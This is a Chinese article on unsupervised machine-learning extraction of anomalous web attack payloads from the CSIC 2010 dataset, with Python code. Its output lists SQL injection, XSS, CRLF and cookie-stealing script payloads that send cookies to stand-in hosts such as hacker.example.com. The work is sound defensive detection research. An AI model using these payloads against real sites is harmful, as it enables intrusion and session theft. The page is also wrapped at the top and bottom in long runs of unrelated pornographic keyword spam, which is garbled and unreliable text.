精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

討論 | 自動化Web滲透Payload提取技術

安全 應用安全 自動化
Web安全是一個日新月異的朝陽領域,每天的互聯網上都在發生著從未暴露的0 Day和N Day攻擊。這時一個大家都意識到的重要問題就浮出水面了:如何能從海量Web訪問日志中把那一小撮異常請求撈出來,供安全人員分析或進行自動化實時阻斷和報警?

一、寫在前面

做Web安全已經三四年了,從最初的小白到今天的初探門路,小鮮肉已經熬成了油膩大叔。Web安全是一個日新月異的朝陽領域,每天的互聯網上都在發生著從未暴露的0 Day和N Day攻擊。這時一個大家都意識到的重要問題就浮出水面了:如何能從海量Web訪問日志中把那一小撮異常請求撈出來,供安全人員分析或進行自動化實時阻斷和報警?

[[245313]]

對于這個問題,傳統的方法是利用傳統的WAF(無機器學習引擎),進行規則匹配。傳統WAF有其存在的意義,但也有其掣肘。首先,安全從業人員都懂,基于黑名單的防御往往存在各種被繞過的風險,看看安全論壇里各式花樣打狗(安全狗)秘籍就可見一斑。其次,傳統WAF只能發現已知的安全攻擊行為或類型,對于新出現的攻擊存在更新延遲,維護上也有比較大的成本。我認為這些問題都源于一個現實——傳統WAF不能對其保護的網站進行建模,因此只能基于已知規則,對各式各樣的Web系統進行統一的無差別的保護。

近年來,機器學習(包括深度學習)高調闖入人們的視野,也逐步應用在了信息安全領域?;跈C器學習的WAF相關論文和文章也看了一些,似乎大家都主要應用了有監督機器學習,也都提到了一個問題:有標記的攻擊數據集(黑樣本)難于大量獲取。而一小波提出無監督異常檢測思路的文章,又會遇到精確度低的問題。

針對這些問題,我決定先進行一些分解。既然直接預測整個請求是否是攻擊很難做到可接受的準確率,不妨就先把異常的攻擊Payload找出來。找出來后,就可以用來進行精準的攻擊分析,還可以幫助優化WAF規則等。本文所述的技術最大的優勢是無監督,無需先驗規則即可自動提取異常Payload。

項目GitHub: https://github.com/zhanghaoyil/Hawk-I (不斷完善中,歡迎貢獻代碼)

二、思路

要把異常參數找出來,最顯而易見要解決的問題就是如何量化請求中各參數的異常程度。為了最大化利用日志中蘊含的需要保護的Web系統自身的結構信息,我決定對請求按訪問路徑進行拆解,即分析參數value在同路徑同參數Key的其他參數值中的異常程度。

具體算法步驟是:

1) 基于TF-IDF對不同路徑下的樣本分別進行特征向量化,按參數維度對特征向量進行匯聚。

2) 基于特征向量提取出樣本參數在同路徑同參數Key的其他參數值中異常分數AS(Anomaly Score)。

3) 設置閾值T,取出AS大于T的異常參數值作為輸出。

三、數據集及預處理

本文使用HTTP CSIC 2010數據集。該數據集由西班牙最高科研理事會CSIC在論文Application of the Generic Feature Selection Measure in Detection of Web Attacks中作為附件給出的,是一個電子商務網站的訪問日志,包含36000個正常請求和25000多個攻擊請求。異常請求樣本中包含SQL注入、文件遍歷、CRLF注入、XSS、SSI等攻擊樣本。數據集下載鏈接:

http://www.isi.csic.es/dataset/ 。在本項目Github中也準備好了。

HTTP CSIC 2010數據集單個樣本為如下格式:

  1. POST http://localhost:8080/tienda1/publico/anadir.jsp HTTP/1.1 
  2. User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko) 
  3. Pragma: no-cache 
  4. Cache-control: no-cache 
  5. Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5 
  6. Accept-Encoding: x-gzip, x-deflate, gzip, deflate 
  7. Accept-Charset: utf-8, utf-8;q=0.5, *;q=0.5 
  8. Accept-Language: en 
  9. Host: localhost:8080 
  10. Cookie: JSESSIONID=933185092E0B668B90676E0A2B0767AF 
  11. Content-Type: application/x-www-form-urlencoded 
  12. Connection: close 
  13. Content-Length: 68 
  14.  
  15. id=3&nombre=Vino+Rioja&precio=100&cantidad=55&B1=A%F1adir+al+carrito 

根據觀察,該數據集除路徑(URI)和參數外其他Header無任何攻擊Payload,具有很多冗余信息。因此對該數據集進行格式化,只保留HTTP方法、路徑和參數,轉為JSON格式方便后面使用。具體進行了如下預處理,具體代碼見data/parse.py:

1) 去除冗余信息。

2) 執行迭代的urldecode。

3) 生成標準化的參數,將大小寫字母、數字分別轉換為a和n。同時保留原始參數和標準化的參數,用于最終的Payload提取。

  1. def normalize(self, s, with_sub=True): 
  2.        #urldecode 
  3.        while True: 
  4.            new_s = parse.unquote(s, encoding='ascii'errors='ignore'
  5.            if new_s == s: 
  6.                break 
  7.            else: 
  8.                s = new_s 
  9.        #normalize 
  10.        if withsub: 
  11.            s = re.sub('\ufffd', 'a', s) 
  12.            s = re.sub('[a-zA-Z]', 'a', s) 
  13.            s = re.sub('\d', 'n', s) 
  14.            s = re.sub('a+', 'a+', s) 
  15.            s = re.sub('n+', 'n+', s) 
  16.            s = re.sub(' ', '', s) 
  17.        return s 

四、實現

根據算法步驟,項目主要分為向量化和參數異常評估和異常Payload提取兩部分。

1. 向量化和參數異常分數

一個Web訪問記錄的成分是比較固定的,每個部分(方法、路徑、參數、HTTP頭、Cookie等)都有比較好的結構化特點。因此可以把Web攻擊識別任務抽象為文本分類任務,而且這種思路應用在了安全領域,如有監督的攻擊識別[1]、 XSS識別[2] 等。文本分類任務中常用的向量化手段有詞袋模型(Bag of Word,BOW)、TF-IDF模型、詞向量化(word2vec)等,兜哥的文章[3]已經做了詳細的講解。

經過對Web日志特點的分析,本文認為使用TF-IDF來對樣本進行向量化效果更好。一是經過標準化后請求參數的值仍會有非常多的可能性,這種情況下詞袋模型生成的特征向量長度會非常大,而且沒法收縮;二是每個請求中參數個數有大有小,絕大多數不超過10個,這個時候詞向量能表達的信息非常有限,并不能反映出參數value的異常性;三是TF-IDF可以表達出不同請求同一參數的值是否更有特異性,尤其是IDF項。

舉個例子, http://ip.taobao.com/ipSearch.html?ipAddr=8.8.8.8 是一個查詢IP詳細信息的頁面(真實存在),在某一段時間內收到了10000個請求,其中9990個請求中ipAddr參數值是符合xx.xx.xx.xx這個IP的格式的,通過0×2中提到的標準化之后,也就是9990個請求的ipAddr參數為n+.n+.n+.n+ (當然這里做了簡化,數字不一定為多位)。此外有10個請求的ipAddr是形如alert('XSS')、'or '1' = '1之類的不同的攻擊Payload。

經過TF-IDF向量化后,那9900個請求ipAddr=n+.n+.n+.n+這一項的TF-IDF值:

  1. TF-IDF normal = TF * IDF = 1 * log(10000/(9990+1)) = 0.001 

而出現ipAddr=alert('XSS')的請求的TF-IDF值:

  1. TF-IDF abnormal = TF * IDF = 1 * log(10000/(1+1)) = 8.517 

可以看出異常請求參數value的TF-IDF是遠大于正常請求的,因此TF-IDF可以很好地反映出參數value的異常程度。

熟悉TF-IDF的同學一定有疑問了,你這TF-IDF的字典也會很大呀,如果樣本量很大而且有各式各樣的參數value,你的特征向量豈不是稀疏得不行了?對于這個問題,我有一個解決方案,也就是將所有的TF-IDF進一步加以處理,對參數key相同的TF-IDF項進行求和。設參數key集合為K={k1, k2, …, kn},TF-IDF字典為集合x={x1, x2, …, xm}。則每個參數key的特征值為:

  1. vn = ∑TF-IDFxn   xn∈{x | x startswith ‘kn=’} 

具體代碼在vectorize/vectorizer.py中:

  1. for path, strs in path_buckets.items(): 
  2.         if not strs: 
  3.             continue 
  4.         vectorizer = TfidfVectorizer(analyzer='word'token_pattern=r"(?u)\b\S\S+\b"
  5.         try: 
  6.             tfidf = vectorizer.fit_transform(strs) 
  7.             #putting same key's indices together 
  8.             paramindex = {} 
  9.             for kv, index in vectorizer.vocabulary.items(): 
  10.                 k = kv.split('=')[0] 
  11.                 if k in param_index.keys(): 
  12.                     param_index[k].append(index) 
  13.                 else: 
  14.                     param_index[k] = [index] 
  15.             #shrinking tfidf vectors 
  16.             tfidf_vectors = [] 
  17.             for vector in tfidf.toarray(): 
  18.                 v = [] 
  19.                 for param, index in param_index.items(): 
  20.                     v.append(np.sum(vector[index])) 
  21.                 tfidf_vectors.append(v) 
  22.             #other features 
  23.             other_vectors = [] 
  24.             for str in strs: 
  25.                 ov = [] 
  26.                 kvs = str.split(' ')[:-1] 
  27.                 lengths = np.array(list(map(lambda x: len(x), kvs))) 
  28.                 #param count 
  29.                 ov.append(len(kvs)) 
  30.                 #mean kv length 
  31.                 ov.append(np.mean(lengths)) 
  32.                 #max kv length 
  33.                 ov.append(np.max(lengths)) 
  34.                 #min kv length 
  35.                 ov.append(np.min(lengths)) 
  36.                 #kv length std 
  37.                 ov.append(np.std(lengths)) 
  38.                 other_vectors.append(ov) 
  39.             tfidf_vectors = np.array(tfidf_vectors) 
  40.             other_vectors = np.array(other_vectors) 
  41.             vectors = np.concatenate((tfidf_vectors, other_vectors), axis=1

這些特征向量能否充分反映樣本的異常性呢?我使用未調參的隨機森林模型進行驗證,得到了大于95%準確率的結果,比較滿意。下圖是模型學習曲線,可以看出仍處于欠訓練的狀態,如果樣本量更充足的話將會得到更好的效果。

由于本文所述方法旨在使用無監督學習提取異常參數,并不用糾結于有監督分類的結果,只要驗證了提取的特征的確可以反映出參數的異常性即可。

2. 異常參數值提取

得到參數值的異常分數下面的工作就簡單多了,主要就是:

  • 數據的標準化(Standardization)
  • 根據閾值確定異常參數
  • 根據異常分數在訓練集矩陣的位置提取對應的參數值

這部分沒有什么特別的邏輯,直接看代碼吧:

  1. if name == 'main': 
  2.     x = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_x.npy") 
  3.     params = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_params.npy") 
  4.     with open(f"../vectorize/paths/~tienda1~publico~registro.jsp_samples.json", 'r') as sf: 
  5.         samples = json.loads(sf.readline()) 
  6.     #Standardization 
  7.     ases = StandardScaler().fit_transform(x[:, :len(params)]) 
  8.     indices = ases > 6 
  9.     #extract anomalous payload 
  10.     for s in range(indices.shape[0]): 
  11.         for p in range(indices.shape[1]): 
  12.             if indices[s, p] and params[p] in samples[s]['OriParams'].keys() and samples[s]['OriParams'][params[p]].strip(): 
  13.                 print(f"##{params[p]}## ##{samples[s]['OriParams'][params[p]]}##") 

提取結果:

  1. ##modo## ##registroalert("Paros");## 
  2. ##modo## ##registroalert("Paros");## 
  3. ##ntc## ##|## 
  4. ##ntc## ##|## 
  5. ##modo## #### 
  6. ##modo## #### 
  7. ##modo## ##registro' AND '1'='1## 
  8. ##modo## ##registro' AND '1'='1## 
  9. ##ntc## ##9851892046707743alert("Paros");## 
  10. ##ntc## ##9851892046707743alert("Paros");## 
  11. ##ntc## ##5024784015351535alert("Paros");## 
  12. ##ntc## ##5024784015351535alert("Paros");## 
  13. ##ntc## ##878731290934670A## 
  14. ##ntc## ##878731290934670A## 
  15. ##nombre## ##Remi'g/*io## 
  16. ##nombre## ##Remi'g/*io## 
  17. ##cp## ##1642A## 
  18. ##cp## ##1642A## 
  19. ##cp## ##any? 
  20. Set-cookie:+Tamper=1041264011025374727## 
  21. ##cp## ##any? 
  22. Set-cookie:+Tamper=1041264011025374727## 
  23. ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
  24. ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
  25. ##modo## ##registro@40## 
  26. ##modo## ##registro@40## 
  27. ##ntc## ##841140437746594A## 
  28. ##ntc## ##841140437746594A## 
  29. ##cp## ##31227Set-cookie:+Tamper=1041264011025374727## 
  30. ##cp## ##31227Set-cookie:+Tamper=1041264011025374727## 
  31. ##ntc## ##|## 
  32. ##ntc## ##|## 
  33. ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
  34. ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
  35. ##modo## ##|## 
  36. ##modo## ##|## 
  37. ##cp## ##4377A## 
  38. ##cp## ##4377A## 
  39. ##modo## ##+## 
  40. ##modo## ##+## 
  41. ##modo## ##' DELETE FROM USERS## 
  42. ##modo## ##' DELETE FROM USERS## 
  43. ##dni## #### 
  44. ##dni## #### 
  45. ##cp## #### 
  46. ##cp## #### 
  47. ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--## 
  48. ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--## 
  49. ##dni## ##684739141## 
  50. ##dni## ##684739141## 
  51. ##modo## ##registro' DELETE FROM USERS## 
  52. ##modo## ##registro' DELETE FROM USERS## 
  53. ##nombre## ##*Aitan/a## 
  54. ##nombre## ##*Aitan/a## 
  55. ##ntc## ##6995607131571243## 
  56. ##ntc## ##6995607131571243## 
  57. ##modo## ##registroalert("Paros");## 
  58. ##modo## ##registroalert("Paros");## 
  59. ##modo## ##','0','0','0');waitfor delay '0:0:15';--## 
  60. ##modo## ##','0','0','0');waitfor delay '0:0:15';--## 
  61. ##modo## ##registro';waitfor delay '0:0:15';--## 
  62. ##modo## ##registro';waitfor delay '0:0:15';--## 
  63. ##modo## #### 
  64. ##modo## #### 
  65. ##modo## ##registro"><## 
  66. ##modo## ##registro"><## 
  67. ##modo## ##'OR'a='a## 
  68. ##modo## ##'OR'a='a## 
  69. ##cp## ##any 
  70. Set-cookie:+Tamper=5765205567234876235## 
  71. ##cp## ##any 
  72. Set-cookie:+Tamper=5765205567234876235## 
  73. ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
  74. ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
  75. ##ntc## ##@40## 
  76. ##ntc## ##@40## 
  77. ##cp## ##AND 11=1## 
  78. ##cp## ##AND 11=1## 
  79. ##modo## ##registroAND 11=1## 
  80. ##modo## ##registroAND 11=1## 
  81. ##modo## ##+## 
  82. ##modo## ##+## 
  83. ##modo## ##registrobob@alert(Paros).parosproxy.org## 
  84. ##modo## ##registrobob@alert(Paros).parosproxy.org## 
  85. ##cp## ##any? 
  86. Set-cookie:+Tamper=5765205567234876235## 
  87. ##cp## ##any? 
  88. Set-cookie:+Tamper=5765205567234876235## 
  89. ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
  90. ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
  91. ##cp## ##44349','0');waitfor delay '0:0:15';--## 
  92. ##cp## ##44349','0');waitfor delay '0:0:15';--## 
  93. ##cp## ##sessionid=12312312username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  94. ##cp## ##sessionid=12312312username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  95. ##ntc## ##219312393915667A## 
  96. ##ntc## ##219312393915667A## 
  97. ##ntc## ##928497527479202A## 
  98. ##ntc## ##928497527479202A## 
  99. ##ntc## ##848868523325038A## 
  100. ##ntc## ##848868523325038A## 
  101. ##ntc## ##AND 11=1## 
  102. ##ntc## ##AND 11=1## 
  103. ##ntc## ## ## 
  104. ##ntc## ## ## 
  105. ##dni## ##B071B890B48F## 
  106. ##dni## ##B071B890B48F## 
  107. ##modo## ##registro## 
  108. ##modo## ##registro## 
  109. ##cp## ##26130any 
  110. Set-cookie:+Tamper=5765205567234876235## 
  111. ##cp## ##26130any 
  112. Set-cookie:+Tamper=5765205567234876235## 
  113. ##ntc## ##' AND '1'='1## 
  114. ##ntc## ##' AND '1'='1## 
  115. ##modo## ##registro ## 
  116. ##modo## ##registro ## 
  117. ##ntc## ##+## 
  118. ##ntc## ##+## 
  119. ##ntc## ##706790437347227A## 
  120. ##ntc## ##706790437347227A## 
  121. ##cp## ##+## 
  122. ##cp## ##+## 
  123. ##dni## ##';waitfor delay '0:0:15';--## 
  124. ##dni## ##';waitfor delay '0:0:15';--## 
  125. ##cp## ##44721bob@alert(Paros).parosproxy.org## 
  126. ##cp## ##44721bob@alert(Paros).parosproxy.org## 
  127. ##cp## #### 
  128. ##cp## #### 
  129. ##ntc## ##424959116693048A## 
  130. ##ntc## ##424959116693048A## 
  131. ##cp## ##bob@alert(Paros).parosproxy.org## 
  132. ##cp## ##bob@alert(Paros).parosproxy.org## 
  133. ##cp## ##31495bob@alert(Paros).parosproxy.org## 
  134. ##cp## ##31495bob@alert(Paros).parosproxy.org## 
  135. ##ntc## ##899062190611389A## 
  136. ##ntc## ##899062190611389A## 
  137. ##ntc## ##0602317509119469## 
  138. ##ntc## ##0602317509119469## 
  139. ##modo## ##','0');waitfor delay '0:0:15';--## 
  140. ##modo## ##','0');waitfor delay '0:0:15';--## 
  141. ##dni## ##' AND '1'='1## 
  142. ##dni## ##' AND '1'='1## 
  143. ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--## 
  144. ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--## 
  145. ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2## 
  146. ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2## 
  147. ##modo## ##sessionid=12312312username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  148. ##modo## ##sessionid=12312312username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  149. ##cp## ##22314','0','0');waitfor delay '0:0:15';--## 
  150. ##cp## ##22314','0','0');waitfor delay '0:0:15';--## 
  151. ##modo## ##sessionid=12312312username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## 
  152. ##modo## ##sessionid=12312312username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## 
  153. ##modo## ##registro@40## 
  154. ##modo## ##registro@40## 
  155. ##dni## ##35507034W" AND "1"="1## 
  156. ##dni## ##35507034W" AND "1"="1## 
  157. ##modo## ##registroSet-cookie:+Tamper=1041264011025374727## 
  158. ##modo## ##registroSet-cookie:+Tamper=1041264011025374727## 
  159. ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--## 
  160. ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--## 
  161. ##cp## ##08696paros" style="background:url(javascript:alert('Paros'))## 
  162. ##cp## ##08696paros" style="background:url(javascript:alert('Paros'))## 
  163. ##dni## ##paros" style="background:url(javascript:alert('Paros'))## 
  164. ##dni## ##paros" style="background:url(javascript:alert('Paros'))## 
  165. ##cp## ##0530A## 
  166. ##cp## ##0530A## 
  167. ##ntc## ##any 
  168. Set-cookie:+Tamper=5765205567234876235## 
  169. ##ntc## ##any 
  170. Set-cookie:+Tamper=5765205567234876235## 
  171. ##cp## ##0951A## 
  172. ##cp## ##0951A## 
  173. ##ntc## ##any? 
  174. Set-cookie:+Tamper=5765205567234876235## 
  175. ##ntc## ##any? 
  176. Set-cookie:+Tamper=5765205567234876235## 
  177. ##modo## ##registro"><## 
  178. ##modo## ##registro"><## 
  179. ##modo## ##registrosessionid=12312312username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## 
  180. ##modo## ##registrosessionid=12312312username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## 
  181. ##cp## ##1883A## 
  182. ##cp## ##1883A## 
  183. ##ntc## ##1816581279872417'OR'a='a## 
  184. ##ntc## ##1816581279872417'OR'a='a## 
  185. ##modo## ##registrosessionid=12312312username=<script>document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  186. ##modo## ##registrosessionid=12312312username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  187. ##modo## ##');waitfor delay '0:0:15';--## 
  188. ##modo## ##');waitfor delay '0:0:15';--## 
  189. ##modo## ##registro'INJECTED_PARAM## 
  190. ##modo## ##registro'INJECTED_PARAM## 
  191. ##dni## ##83627503D','0','0','0');waitfor delay '0:0:15';--## 
  192. ##dni## ##83627503D','0','0','0');waitfor delay '0:0:15';--## 
  193. ##cp## ##1914A## 
  194. ##cp## ##1914A## 
  195. ##cp## ##35543' DELETE FROM USERS## 
  196. ##cp## ##35543' DELETE FROM USERS## 
  197. ##ntc## ##@40## 
  198. ##ntc## ##@40## 
  199. ##cp## ##alert("Paros");## 
  200. ##cp## ##alert("Paros");## 
  201. ##ntc## ##0358024000873525bob@alert(Paros).parosproxy.org## 
  202. ##ntc## ##0358024000873525bob@alert(Paros).parosproxy.org## 
  203. ##modo## ##|## 
  204. ##modo## ##|## 
  205. ##ntc## ##alert("Paros");## 
  206. ##ntc## ##alert("Paros");## 
  207. ##ntc## ##367411357982441A## 
  208. ##ntc## ##367411357982441A## 
  209. ##cp## ##';waitfor delay '0:0:15';--## 
  210. ##cp## ##';waitfor delay '0:0:15';--## 
  211. ##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org## 
  212. ##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org## 
  213. ##modo## ##|## 
  214. ##modo## ##|## 
  215. ##ntc## ##7238071991283064 ## 
  216. ##ntc## ##7238071991283064 ## 
  217. ##cp## ##0529A## 
  218. ##cp## ##0529A## 
  219. ##modo## ##'INJECTED_PARAM## 
  220. ##modo## ##'INJECTED_PARAM## 
  221. ##dni## ##+## 
  222. ##dni## ##+## 
  223. ##modo## ##registrosessionid=12312312username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  224. ##modo## ##registrosessionid=12312312username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  225. ##dni## #### 
  226. ##dni## #### 
  227. ##modo## ##registro@40## 
  228. ##modo## ##registro@40## 
  229. ##cp## ##46715alert("Paros");## 
  230. ##cp## ##46715alert("Paros");## 
  231. ##cp## ##08786Set-cookie:+Tamper=1041264011025374727## 
  232. ##cp## ##08786Set-cookie:+Tamper=1041264011025374727## 
  233. ##modo## ##alert("Paros");## 
  234. ##modo## ##alert("Paros");## 
  235. ##modo## ##"><## 
  236. ##modo## ##"><## 
  237. ##modo## ##registrosessionid=12312312username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## 
  238. ##modo## ##registrosessionid=12312312username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## 
  239. ##ntc## ##1771682809315400' AND '1'='1## 
  240. ##ntc## ##1771682809315400' AND '1'='1## 

可以看到,至此已經把異常參數值提取出來了,包括SQL注入、XSS、命令注入、CRLF注入、文件包含等典型的攻擊Payload。

五、后續計劃

這篇文章算是我在信息安全領域應用機器學習一系列嘗試的第一篇,思路不算清奇,也沒有什么特別的難點。但我個人喜歡先抑后揚,不管怎么樣先把成果搞出來,然后再慢慢優化和進步嘛。路總是一步一步走的。

后面我打算還是在Web安全這個領域做一些機器學習應用嘗試。這篇文章只是靜態地提取出異常Payload,而沒有利用到關鍵的Web系統結構信息,包括訪問時序的特征,訪問來源主體(IP、UID、設備指紋等)、訪問分布的特征,我將充分利用這些信息,嘗試開發一個無規則化的簡易機器學習WAF。

參考鏈接:

責任編輯:趙寧寧 來源: FreeBuf
相關推薦

2014-11-20 13:49:15

2014-11-12 09:24:00

2024-03-20 13:19:53

2020-09-30 10:38:31

Web 開發框架

2011-01-20 10:17:25

ibmdwWeb

2012-03-29 10:57:12

Web自動化測試

2012-11-20 17:22:57

2020-08-03 15:40:57

Web自動化工具測試

2023-11-20 22:07:51

PythonPDF

2021-09-01 09:38:21

自動化滲透測試網絡安全攻擊

2017-12-17 21:58:18

2018-12-03 08:46:36

Web瀏覽器SeleniumPython

2021-01-24 11:46:26

自動化Web 優化

2009-11-30 17:12:57

BMC

2009-12-23 16:19:25

WPF UI自動化技術

2014-11-21 09:17:14

2011-11-18 09:11:21

Web

2013-04-03 14:01:25

網絡自動化自動化編排技術功能解析

2018-07-13 06:46:35

數據中心自動化微服務

2009-07-22 14:50:50

ibmdwWeb2.0Twitter
點贊
收藏

51CTO技術棧公眾號

一区二区动漫| 涩爱av色老久久精品偷偷鲁 | 成人女同在线观看| 成人精品亚洲人成在线| 久久免费国产精品1| 日本一区二区在线免费观看| 欧美sm一区| 欧美国产禁国产网站cc| 成人欧美在线视频| 久久一级黄色片| 97视频一区| 精品久久久久久中文字幕一区奶水| 久久精品丝袜高跟鞋| 国产免费www| 日韩成人精品一区| 欧美不卡一二三| www.亚洲天堂网| 在线观看麻豆| 成人动漫视频在线| 国产成人精品在线| 久久免费看少妇高潮v片特黄| 日本伊人久久| 一本高清dvd不卡在线观看| 一区二区三区四区欧美| www.成人精品| 美女网站久久| 欧美高清激情视频| 欧美老女人性生活视频| 视频一区在线| 欧美日韩一区二区三区免费看| 国产麻豆电影在线观看| 深夜福利视频在线观看| 精品一区二区在线播放| zzijzzij亚洲日本成熟少妇| 国产欧美视频一区| 日韩成人在线一区| 亚洲高清不卡在线观看| 午夜久久资源| 天天综合网天天综合| 久久超碰97中文字幕| 国产精国产精品| www.国产com| 国产精品亚洲产品| 国自在线精品视频| www.youjizz.com亚洲| 亚洲精品99| 久久色免费在线视频| 国产精品综合激情| 水蜜桃精品av一区二区| xxav国产精品美女主播| 午夜黄色福利视频| 久久精品高清| www亚洲精品| 免费看特级毛片| 99欧美视频| 久久这里有精品视频| www.5588.com毛片| 一本到12不卡视频在线dvd| 精品国偷自产在线视频99| 国内毛片毛片毛片毛片毛片| 国产精品久久久久久久免费观看 | 欧美人与禽猛交乱配| 亚洲免费av观看| 男人日女人的bb| 欧美videossex| 午夜激情综合网| 逼特逼视频在线| 欧美三级网址| 欧美主播一区二区三区美女| 少妇一级淫免费放| 日韩五码电影| 欧美一区二区三区免费在线看| 欧美视频亚洲图片| 91精品国产乱码久久久竹菊| 亚洲国产精品一区二区三区| 青青草福利视频| av一区二区在线播放| 日韩最新在线视频| 国产一二三四在线| 久久精品一区二区国产| 国产精品丝袜白浆摸在线| 一级黄色片网站| 国产一区二区三区免费看| 99视频国产精品免费观看| 成人无码一区二区三区| 91在线视频网址| 婷婷亚洲婷婷综合色香五月| av片在线观看网站| 婷婷久久综合九色综合绿巨人 | 视频一区二区在线| 免费的黄网站在线观看| 亚洲综合偷拍欧美一区色| 蜜桃传媒一区二区三区| 国模视频一区| 精品美女在线播放| 亚洲黄色免费视频| 欧美激情日韩| 国产成人精品综合久久久| 国产精品区在线观看| 99久久久久免费精品国产| 伊人久久大香线蕉午夜av| 久久不射影院| 欧美日韩国产另类一区| 国产高清自拍视频| 亚洲成人三区| 国产精品美女www爽爽爽视频| 精品国产九九九| 国产免费观看久久| 欧美午夜性视频| 亚洲热av色在线播放| 国产视频久久久| 激情五月婷婷小说| 精品91视频| 91精品国产综合久久香蕉922| 熟妇人妻中文av无码| 日韩毛片在线免费观看| 欧美成人精品欧美一级乱| 一区二区免费| 日韩一区二区三区在线播放| 国产视频91在线| 国产精品77777| 亚洲国产精品一区在线观看不卡| 高清电影在线观看免费| 这里是久久伊人| 黑人と日本人の交わりビデオ| 国产日韩亚洲欧美精品| 成人免费视频网站| 在线免费观看的av| 91精品国产91久久久久久最新毛片| 免费看黄色aaaaaa 片| 亚洲色图欧美| 国产欧美va欧美va香蕉在线| 日本一区视频| 亚洲v中文字幕| av在线免费观看不卡| 手机在线电影一区| 国产精品视频一| 国产三级电影在线观看| 欧美性色19p| 青青草视频网站| 国产精品啊啊啊| 岛国视频一区免费观看| av网址在线免费观看| 欧美少妇xxx| 亚洲黄色小说视频| 久久综合九色| 蜜桃在线一区二区三区精品| 2020国产在线| 精品国精品国产尤物美女| 久久久久久久久毛片| 精品一区二区三区日韩| 亚洲综合首页| 国产精品一区二区三区www| 中文字幕在线看视频国产欧美| 岛国av中文字幕| 国产视频一区在线观看| 欧美自拍小视频| 久久综合88| 亚洲一区二区三区毛片| 色呦呦在线看| 亚洲国产精品电影在线观看| 欧美一级视频免费观看| 成人国产在线观看| 日批视频在线免费看| 国产一区不卡| 国产色视频一区| av文字幕在线观看| 亚洲精品一区二区三区影院| 日韩 欧美 综合| 国产情人综合久久777777| 国产视频1区2区3区| 综合视频在线| 精品国产一区二区三区麻豆小说| 欧美亚洲日本精品| 中文字幕日韩欧美精品在线观看| 国产永久免费视频| 亚洲成av人片一区二区三区| 一区二区黄色片| 久久国产精品99精品国产 | 久久99精品久久久久久秒播放器| 综合日韩av| 精品国产一区二区三区久久狼黑人 | av大片在线播放| 91精品国产综合久久婷婷香蕉| 久久无码精品丰满人妻| 久久你懂得1024| www.桃色.com| 亚洲综合国产激情另类一区| 一区二区三区观看| 好吊妞国产欧美日韩免费观看网站| 日本一区二区在线播放| 成人免费高清| 亚洲人成网站免费播放| 99国产精品久久久久99打野战| 亚洲一区二区三区四区的| 香蕉视频久久久| 高清不卡一区二区在线| 97公开免费视频| 国产精品va| 亚洲制服中文| 亚洲v天堂v手机在线| 91精品视频播放| 日韩欧美另类一区二区| 欧美大码xxxx| 欧美69xxx| 亚洲欧美视频在线| 亚洲欧美激情国产综合久久久| 在线区一区二视频| 久久高清免费视频| 亚洲天堂福利av| 日韩福利在线视频| 91色乱码一区二区三区| 中国男女全黄大片| 麻豆精品视频在线观看| 丰满爆乳一区二区三区| 欧美在线高清| 亚洲欧洲精品一区| 国产伦一区二区三区| 国产美女精品久久久| 国产成年精品| 国产欧美久久一区二区| 成人日韩在线| 欧美伊久线香蕉线新在线| 美女精品视频| 欧美男插女视频| 日本在线人成| 中文字幕亚洲欧美日韩在线不卡| 亚洲人成色777777老人头| 欧美成人国产一区二区| www.久久久久久| 欧美精品日日鲁夜夜添| 伊人网综合在线| 欧美系列在线观看| 91视频在线视频| 色婷婷国产精品| 日韩精品无码一区二区| 亚洲高清免费视频| 日本三级网站在线观看| 亚洲一卡二卡三卡四卡五卡| 精品视频久久久久| 亚洲国产精品一区二区久久恐怖片 | 日本黄大片一区二区三区| 